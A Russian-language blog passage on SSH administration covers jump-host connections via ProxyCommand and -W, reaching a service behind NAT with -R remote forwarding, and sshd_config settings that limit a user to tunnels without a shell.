Однако, если сервер совсем дурной, то root сервера может использовать сокет для имперсонализации, когда мы подключены.

Есть ещё более могучий метод — он превращает ssh в простой pipe(в смысле, «трубу») через которую насквозь мы осуществляем работу с удалённым сервером.

Главным достоинством этого метода является полная независимость от доверенности промежуточного сервера. Он может использовать поддельный ssh-сервер, логгировать все байты и все действия, перехватывать любые данные и подделывать их как хочет — взаимодействие идёт между «итоговым» сервером и клиентом. Если данные оконечного сервера подделаны, то подпись не сойдётся. Если данные не подделаны, то сессия устанавливается в защищённом режиме, так что перехватывать нечего.

Эту клёвую настройку я не знал, и раскопал её redrampage.

Настройка завязана на две возможности ssh: опцию -W (превращающую ssh в «трубу») и опцию конфига ProxyCommand (опции командной строки, вроде бы нет), которая говорит «запустить программу и присосаться к её stdin/out». Опции эти появились недавно, так что пользователи centos в пролёте.

Выглядит это так (циферки для картинки выше):

.ssh/config:

Host raep
     HostName 10.1.1.2
     User user2
     ProxyCommand ssh -W %h:%p user@8.8.8.8

Ну а подключение тривиально: ssh raep.

Повторю важную мысль: сервер 8.8.8.8 не может перехватить или подделать трафик, воспользоваться агентом авторизации пользователя или иным образом изменить трафик. Запретить — да, может. Но если разрешил — пропустит через себя без расшифровки или модификации. Для работы конфигурации нужно иметь свой открытый ключ в authorized_keys как для user@8.8.8.8, так и в user2@10.1.1.2

Разумеется, подключение можно оснащать всеми прочими фенечками — прокидыванием портов, копированием файлов, сокс-прокси, L2-туннелями, туннелированием X-сервера и т.д.

Финал

Разумеется, в посте про туннели должен быть туннель, а в любой успешной статье — секретный ингредиент всеобщей популярности. Держите:

ssh: Вытаскиваем для себя чужой порт из-за NAT

Подключиться к сервису за NAT, имея человека рядом с сервисом, вооруженного ssh, и белый ip у себя.

Опция -R

В ssh есть режим, в котором он открывает порт на сервере и, через туннель от сервера до клиента, перенаправляет соединения в указанный адрес в сети клиента.

То есть нам нужно поднять sshd, попросить человека выполнить

$ ssh -N -R server_port:target:target_port sshd_server

И у нас на машине с sshd откроется порт server_port, который будет туннелироваться в target:target_port в сети этого человека.

Как в sshd_config ограничить права

ForceCommand echo "no shell access is given"

Если задать эту опцию, то указанная команда будет выполняться вместо любой передаваемой клиентом (обычно клиент запускает шелл).

Так как scp работает через [встроенную] команду sftp, то копирование файлов тоже будет закрыто.

Туннелирование (форвардинг) при этом все еще работает.

AllowTcpForwarding remote

Разрешает режимы туннелирования tcp:

local (опция -L в ssh) — открыть порт на клиенте и перенаправить подключения на заданный клиентом адрес в сети сервера

remote (опция -R) — открыть порт на сервере и туннелировать подключения на заданный клиентом адрес в его сети

all или yes — разрешает и local, и remote

no — запрещает tcp туннели

Match

Как обычно, вышеуказанные опции можно положить в секцию, например, Match User tunnel, и они будут действительны только для соединений, аутентифицирующихся под именем этого пользователя. (ssh… tunnel@sshd_server)

Положить в конец sshd_config и не забыть создать пользователя tunnel

Match User tunnel
    ForceCommand echo "no shell access is given"
    AllowTcpForwarding remote
    # на случай, если у нас глобально установлено иначе:
    X11Forwarding no
    PermitTunnel no

Еще было бы хорошо ограничить порты, которые клиент может занимать на сервере, но без патчей к sshd этого не сделать.

Удобнее и без root-а

Хочется решать задачу в духе netcat: не трогать системный sshd, не создавать новых пользователей и не запускать демонов.

sshd можно запустить без рута, если сделать отдельный конфиг и отключить несколько опций. (При этом он не сможет принимать пользователей отличных от того, с которым он был запущен). Также нужно указать отдельный HostKey и отдельный PidFile.

Останется проблема аутентификации. Так как делиться собственным системным паролем (а мы не собираемся создавать отдельного пользователя) с клиентами неправильно, нужно оставить только аутентификацию по ключам и указать отдельный файлик с ними.

Кроме этого, получившийся sshd удобно запускать без демонизации и с логом в консоль, чтобы следить, как создаются туннели.

Готовый скрипт: запускалка пользовательского sshd, ограниченного созданием туннелей

Памятка пользователям ssh
ssh: Вытаскиваем для себя чужой порт из-за NAT
Магия SSH

Profile

uzverss

December 2024

S	M	T	W	T	F	S
1	2	3	4	5	6	7
8	9	10	11	12	13	14
15	16	17	18	19	20	21
22	23	24	25	26	27	28
29	30	31

Syndicate

Page Summary

Установка xrdp на CentOS 7
установка XRDP, VNC и SSH на Ubuntu и Debian 2
установка XRDP, VNC и SSH на Ubuntu и Debian 1
Памятка пользователям ssh

Style Credit

Base style: Abstractia by chiming
Theme: Oceanic II by nornoriel

Expand Cut Tags

No cut tags

Page generated Jun. 24th, 2025 11:22 am

Entries tagged with xrdp